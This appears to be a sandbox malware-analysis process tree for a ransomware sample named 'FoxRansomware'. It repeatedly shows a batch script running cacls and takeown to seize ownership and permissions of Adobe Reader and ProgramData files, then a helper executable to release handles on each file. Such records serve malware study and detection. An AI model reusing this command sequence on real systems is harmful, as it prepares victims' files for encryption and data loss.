C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "can.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "can.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "usa37.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "usa37.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ICELAND.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ICELAND.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1254.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1254.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "email_all.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "email_all.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "open_original_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "open_original_form.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "rss.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "rss.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SY______.PFM" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SY______.PFM" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "can129.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "can129.hsp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "icudt26l.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "icudt26l.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ROMANIAN.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1258.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1258.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "qmgr0.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "qmgr0.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ended_review_or_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ended_review_or_form.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "reviewers.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "reviewers.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "server_lg.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "server_lg.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "zy______.pfm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "zy______.pfm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "brt.fca" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "brt.fca" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "eng.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "eng.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "zdingbat.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "zdingbat.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C3⤵
-
-
